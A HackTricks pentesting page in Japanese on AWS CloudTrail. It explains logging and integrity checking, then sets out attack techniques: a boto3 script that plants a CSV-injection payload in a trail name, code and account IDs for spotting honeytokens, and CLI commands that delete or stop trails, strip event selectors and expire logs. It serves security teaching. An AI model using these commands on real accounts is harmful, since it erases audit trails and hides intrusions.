# AWS - CloudTrail Enum

{{#include ../../../../banners/hacktricks-training.md}}

## **CloudTrail**

AWS CloudTrail **は、AWS環境内の活動を記録および監視します**。それは、誰が何を、いつ、どこから行ったかを含む詳細な**イベントログ**をキャプチャします。これにより、変更やアクションの監査証跡が提供され、セキュリティ分析、コンプライアンス監査、およびリソース変更の追跡に役立ちます。CloudTrailは、ユーザーとリソースの動作を理解し、セキュリティ姿勢を強化し、規制遵守を確保するために不可欠です。

各ログされたイベントには以下が含まれます：

- 呼び出されたAPIの名前: `eventName`
- 呼び出されたサービス: `eventSource`
- 時間: `eventTime`
- IPアドレス: `SourceIPAddress`
- エージェントメソッド: `userAgent`。例：
  - Signing.amazonaws.com - AWS Management Consoleから
  - console.amazonaws.com - アカウントのルートユーザー
  - lambda.amazonaws.com - AWS Lambda
- リクエストパラメータ: `requestParameters`
- レスポンス要素: `responseElements`

イベントは**約5分ごとにJSONファイルに新しいログファイルとして書き込まれ**、CloudTrailによって保持され、最終的にログファイルは**約15分後にS3に配信されます**。\
CloudTrailのログは**アカウント間およびリージョン間で集約できます**。\
CloudTrailは、**ログファイルの整合性を使用して、CloudTrailが提供した後にログファイルが変更されていないことを確認できるようにします**。これは、ダイジェストファイル内のログのSHA-256ハッシュを作成します。新しいログのsha-256ハッシュは毎時作成されます。\
トレイルを作成する際、イベントセレクターを使用してログを記録するトレイルを指定できます：管理、データ、またはインサイトイベント。

ログはS3バケットに保存されます。デフォルトではサーバーサイド暗号化（SSE-S3）が使用されるため、AWSはアクセス権を持つ人々のためにコンテンツを復号化しますが、追加のセキュリティのためにSSEをKMSおよび独自のキーと共に使用できます。

ログは**この名前形式のS3バケットに保存されます**：

- **`BucketName/AWSLogs/AccountID/CloudTrail/RegionName/YYY/MM/DD`**
- バケット名は：**`aws-cloudtrail-logs-<accountid>-<random>`**
- 例：**`aws-cloudtrail-logs-947247140022-ffb95fe7/AWSLogs/947247140022/CloudTrail/ap-south-1/2023/02/22/`**

各フォルダー内の各ログは**この形式に従った名前を持ちます**：**`AccountID_CloudTrail_RegionName_YYYYMMDDTHHMMZ_Random.json.gz`**

ログファイル命名規則

![](<../../../../images/image (122).png>)

さらに、**ファイル整合性を確認するためのダイジェストファイル**は、**同じバケット内にあります**：

![](<../../../../images/image (195).png>)

### 複数アカウントからのログの集約

- ログファイルを配信するAWSアカウントにトレイルを作成します
- CloudTrailのためにクロスアカウントアクセスを許可するように宛先S3バケットに権限を適用し、アクセスが必要な各AWSアカウントを許可します
- 他のAWSアカウントで新しいトレイルを作成し、ステップ1で作成したバケットを使用するように選択します

ただし、すべてのログを同じS3バケットに保存できるとしても、複数のアカウントからのCloudTrailログを単一のAWSアカウントに属するCloudWatch Logsに集約することはできません。

> [!CAUTION]
> アカウントには、**異なるトレイル**がCloudTrail **で有効**になっており、異なるバケットに同じ（または異なる）ログを保存できることを忘れないでください。

### すべての組織アカウントから1つのCloudTrailへ

CloudTrailを作成する際、組織内のすべてのアカウントに対してCloudTrailを有効にし、ログを1つのバケットに取得するように指示することが可能です：

<figure><img src="../../../../images/image (200).png" alt=""><figcaption></figcaption></figure>

この方法で、すべてのアカウントのすべてのリージョンでCloudTrailを簡単に構成し、1つのアカウントにログを集中させることができます（そのアカウントは保護する必要があります）。

### ログファイルの確認

ログが変更されていないことを確認するには、次のコマンドを実行します。
```javascript
aws cloudtrail validate-logs --trail-arn <trailARN> --start-time <start-time> [--end-time <end-time>] [--s3-bucket <bucket-name>] [--s3-prefix <prefix>] [--verbose]
```
### Logs to CloudWatch

**CloudTrailは自動的にログをCloudWatchに送信できるため、疑わしい活動が行われたときに警告するアラートを設定できます。**\
CloudTrailがCloudWatchにログを送信できるようにするには、そのアクションを許可する**ロール**を作成する必要があります。可能であれば、これらのアクションを実行するためにAWSのデフォルトロールを使用することをお勧めします。このロールはCloudTrailに以下を許可します：

- CreateLogStream: CloudWatch Logsのログストリームを作成することを許可します
- PutLogEvents: CloudTrailログをCloudWatch Logsのログストリームに配信します

### Event History

CloudTrail Event Historyでは、記録されたログをテーブルで検査できます：

![](<../../../../images/image (89).png>)

### Insights

**CloudTrail Insights**は自動的に**分析**し、CloudTrailトレイルからの書き込み管理イベントを**警告**し、**異常な活動**を通知します。たとえば、`TerminateInstance`イベントの増加が確立されたベースラインと異なる場合、それはInsightイベントとして表示されます。これらのイベントは、**異常なAPI活動を見つけて対応することをこれまで以上に容易にします**。

インサイトはCloudTrailログと同じバケットに保存されます：`BucketName/AWSLogs/AccountID/CloudTrail-Insight`

### Security
| Control Name	                       |  Implementation Details                                                                                                                                                                                                                                                                                                                                     |
| ------------------------------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
| CloudTrail Log File Integrity        | <ul><li>ログが改ざんされていないか（変更または削除）を検証します</li><li><p>ダイジェストファイルを使用します（各ファイルのハッシュを作成）</p><ul><li>SHA-256ハッシュ</li><li>デジタル署名のためのSHA-256とRSA</li><li>Amazonが所有する秘密鍵</li></ul></li><li>ダイジェストファイルを作成するのに1時間かかります（毎時行われます）</li></ul> |
| Stop unauthorized access             | <ul><li><p>IAMポリシーとS3バケットポリシーを使用します</p><ul><li>セキュリティチーム —> 管理者アクセス</li><li>監査人 —> 読み取り専用アクセス</li></ul></li><li>ログを暗号化するためにSSE-S3/SSE-KMSを使用します</li></ul>                                                                                                                                        |
| Prevent log files from being deleted | <ul><li>IAMおよびバケットポリシーで削除アクセスを制限します</li><li>S3 MFA削除を構成します</li><li>ログファイル検証で検証します</li></ul>                                                                                                                                                                                            |

## Access Advisor

AWS Access Advisorは、最後の400日間のAWS **CloudTrailログを利用してインサイトを収集します**。CloudTrailは、AWSアカウント内で行われたAWS APIコールと関連イベントの履歴をキャプチャします。Access Advisorはこのデータを利用して、**サービスが最後にアクセスされた時期を表示します**。CloudTrailログを分析することで、Access AdvisorはIAMユーザーまたはロールがどのAWSサービスにアクセスしたか、そしてそのアクセスがいつ行われたかを特定できます。これにより、AWS管理者は**権限の精緻化**に関する情報に基づいた意思決定を行うことができ、長期間アクセスされていないサービスを特定し、実際の使用パターンに基づいて過度に広範な権限を削減することができます。

> [!TIP]
> したがって、Access Advisorは**ユーザーに与えられている不必要な権限**について通知し、管理者がそれらを削除できるようにします

<figure><img src="../../../../images/image (78).png" alt=""><figcaption></figcaption></figure>

## Actions

### Enumeration
```bash
# Get trails info
aws cloudtrail list-trails
aws cloudtrail describe-trails
aws cloudtrail list-public-keys
aws cloudtrail get-event-selectors --trail-name <trail_name>
aws [--region us-east-1] cloudtrail get-trail-status --name [default]

# Get insights
aws cloudtrail get-insight-selectors --trail-name <trail_name>

# Get data store info
aws cloudtrail list-event-data-stores
aws cloudtrail list-queries --event-data-store <data-source>
aws cloudtrail get-query-results --event-data-store <data-source> --query-id <id>
```
### **CSVインジェクション**

CloudTrail内でCSVインジェクションを実行することが可能で、ログがCSV形式でエクスポートされ、Excelで開かれると任意のコードが実行されます。\
次のコードは、ペイロードを含む悪いトレイル名のログエントリを生成します：
```python
import boto3
payload = "=cmd|'/C calc'|''"
client = boto3.client('cloudtrail')
response = client.create_trail(
Name=payload,
S3BucketName="random"
)
print(response)
```
より詳しい情報はCSVインジェクションについては、以下のページを確認してください：

{{#ref}}
https://book.hacktricks.wiki/en/pentesting-web/formula-csv-doc-latex-ghostscript-injection.html
{{#endref}}

この特定の技術についての詳細は[https://rhinosecuritylabs.com/aws/cloud-security-csv-injection-aws-cloudtrail/](https://rhinosecuritylabs.com/aws/cloud-security-csv-injection-aws-cloudtrail/)を確認してください。

## **検出の回避**

### HoneyTokens **回避**

Honeytokensは**機密情報の流出を検出するために作成されます**。AWSの場合、これらは**使用が監視されるAWSキー**です。そのキーでアクションがトリガーされると、誰かがそのキーを盗んだ可能性があります。

しかし、[**Canarytokens**](https://canarytokens.org/generate)**、** [**SpaceCrab**](https://bitbucket.org/asecurityteam/spacecrab/issues?status=new&status=open)**、** [**SpaceSiren**](https://github.com/spacesiren/spacesiren)によって作成されたHoneytokensは、認識可能なアカウント名を使用するか、すべての顧客に対して同じAWSアカウントIDを使用しています。したがって、Cloudtrailにログを作成させることなくアカウント名やアカウントIDを取得できれば、**そのキーがHoneytokenかどうかを知ることができます**。

[**Pacu**](https://github.com/RhinoSecurityLabs/pacu/blob/79cd7d58f7bff5693c6ae73b30a8455df6136cca/pacu/modules/iam__detect_honeytokens/main.py#L57)には、キーが[**Canarytokens**](https://canarytokens.org/generate)**、** [**SpaceCrab**](https://bitbucket.org/asecurityteam/spacecrab/issues?status=new&status=open)**、** [**SpaceSiren**](https://github.com/spacesiren/spacesiren)**に属するかどうかを検出するためのいくつかのルールがあります：**

- **`canarytokens.org`**がロール名に表示されるか、エラーメッセージにアカウントID **`534261010715`**が表示される場合。
- 最近テストしたところ、彼らはアカウント**`717712589309`**を使用しており、名前に**`canarytokens.com`**の文字列がまだ含まれています。
- エラーメッセージにロール名に**`SpaceCrab`**が表示される場合。
- **SpaceSiren**はユーザー名を生成するために**uuids**を使用します：`[a-f0-9]{8}-[a-f0-9]{4}-4[a-f0-9]{3}-[89aAbB][a-f0-9]{3}-[a-f0-9]{12}`
- **名前がランダムに生成されたように見える場合**、それはHoneyTokenである可能性が高いです。

#### キーIDからアカウントIDを取得する

**アクセスキー**内に**エンコードされた**アカウントIDを取得することができ、[**ここで説明されているように**](https://medium.com/@TalBeerySec/a-short-note-on-aws-key-id-f88cc4317489)そのアカウントIDをHoneytokens AWSアカウントのリストと照合してください：
```python
import base64
import binascii

def AWSAccount_from_AWSKeyID(AWSKeyID):

trimmed_AWSKeyID = AWSKeyID[4:] #remove KeyID prefix
x = base64.b32decode(trimmed_AWSKeyID) #base32 decode
y = x[0:6]

z = int.from_bytes(y, byteorder='big', signed=False)
mask = int.from_bytes(binascii.unhexlify(b'7fffffffff80'), byteorder='big', signed=False)

e = (z & mask)>>7
return (e)

print("account id:" + "{:012d}".format(AWSAccount_from_AWSKeyID("ASIAQNZGKIQY56JQ7WML")))
```
Check more information in the [**orginal research**](https://medium.com/@TalBeerySec/a-short-note-on-aws-key-id-f88cc4317489).

#### ログを生成しない

最も効果的な技術は実際にはシンプルなものです。見つけたキーを使用して、自分の攻撃者アカウント内のサービスにアクセスします。これにより、**CloudTrailはあなた自身のAWSアカウント内にログを生成し、被害者のアカウント内には生成しません**。

出力には、アカウントIDとアカウント名を示すエラーが表示されるため、**それがHoneytokenであるかどうかを確認できます**。

#### ログなしのAWSサービス

過去には、**CloudTrailにログを送信しないAWSサービスがいくつかありました**（ここに[リストを見つけてください](https://docs.aws.amazon.com/awscloudtrail/latest/userguide/cloudtrail-unsupported-aws-services.html)）。これらのサービスのいくつかは、無許可の者（ハニートークンキー）がアクセスしようとすると、**キー役割のARNを含む**エラーで**応答**します。

この方法で、**攻撃者はログをトリガーすることなくキーのARNを取得できます**。ARNには**AWSアカウントIDと名前**が表示されるため、HoneyTokenの企業アカウントIDと名前を知るのは簡単で、攻撃者はトークンがHoneyTokenであるかどうかを特定できます。

![](<../../../../images/image (93).png>)

> [!CAUTION]
> CloudTrailログを生成しないことが発見されたすべての公開APIは現在修正されているため、独自に見つける必要があるかもしれません...
>
> 詳細については、[**original research**](https://rhinosecuritylabs.com/aws/aws-iam-enumeration-2-0-bypassing-cloudtrail-logging/)を確認してください。

### 第三者インフラへのアクセス

特定のAWSサービスは、**データベース**や**Kubernetes**クラスター（EKS）などの**インフラを生成します**。ユーザーがこれらのサービス（Kubernetes APIなど）に直接話しかける場合、**AWS APIを使用しないため**、CloudTrailはこの通信を確認できません。

したがって、EKSにアクセスできるユーザーがEKS APIのURLを発見した場合、ローカルでトークンを生成し、**Cloudtrailに検出されることなくAPIサービスに直接話しかけることができます**。

詳細は以下を参照してください：

{{#ref}}
../../aws-post-exploitation/aws-eks-post-exploitation/README.md
{{#endref}}

### CloudTrail設定の変更

#### トレイルの削除
```bash
aws cloudtrail delete-trail --name [trail-name]
```
#### トレイルを停止する
```bash
aws cloudtrail stop-logging --name [trail-name]
```
#### マルチリージョンログを無効にする
```bash
aws cloudtrail update-trail --name [trail-name] --no-is-multi-region --no-include-global-services
```
#### イベントセレクタによるログの無効化
```bash
# Leave only the ReadOnly selector
aws cloudtrail put-event-selectors --trail-name <trail_name> --event-selectors '[{"ReadWriteType": "ReadOnly"}]' --region <region>

# Remove all selectors (stop Insights)
aws cloudtrail put-event-selectors --trail-name <trail_name> --event-selectors '[]' --region <region>
```
最初の例では、単一のイベントセレクターが単一のオブジェクトを持つJSON配列として提供されています。`"ReadWriteType": "ReadOnly"`は、**イベントセレクターが読み取り専用イベントのみをキャプチャするべきである**ことを示しています（したがって、CloudTrailのインサイトは**書き込み**イベントをチェックしません）。

特定の要件に基づいてイベントセレクターをカスタマイズできます。

#### S3ライフサイクルポリシーによるログの削除
```bash
aws s3api put-bucket-lifecycle --bucket <bucket_name> --lifecycle-configuration '{"Rules": [{"Status": "Enabled", "Prefix": "", "Expiration": {"Days": 7}}]}' --region <region>
```
### バケット設定の変更

- S3バケットを削除する
- CloudTrailサービスからの書き込みを拒否するようにバケットポリシーを変更する
- オブジェクトを削除するためにS3バケットにライフサイクルポリシーを追加する
- CloudTrailログを暗号化するために使用されるKMSキーを無効にする

### Cloudtrailランサムウェア

#### S3ランサムウェア

**非対称キーを生成**し、そのキーで**CloudTrailがデータを暗号化**し、**秘密鍵を削除**することでCloudTrailの内容を回復できなくすることができます。\
これは基本的に**S3-KMSランサムウェア**で、以下に説明されています：

{{#ref}}
../../aws-post-exploitation/aws-s3-post-exploitation/README.md
{{#endref}}

**KMSランサムウェア**

これは、異なる権限要件で前述の攻撃を実行する最も簡単な方法です：

{{#ref}}
../../aws-post-exploitation/aws-kms-post-exploitation/README.md
{{#endref}}

## **参考文献**

- [https://cloudsecdocs.com/aws/services/logging/cloudtrail/#inventory](https://cloudsecdocs.com/aws/services/logging/cloudtrail/#inventory)

{{#include ../../../../banners/hacktricks-training.md}}
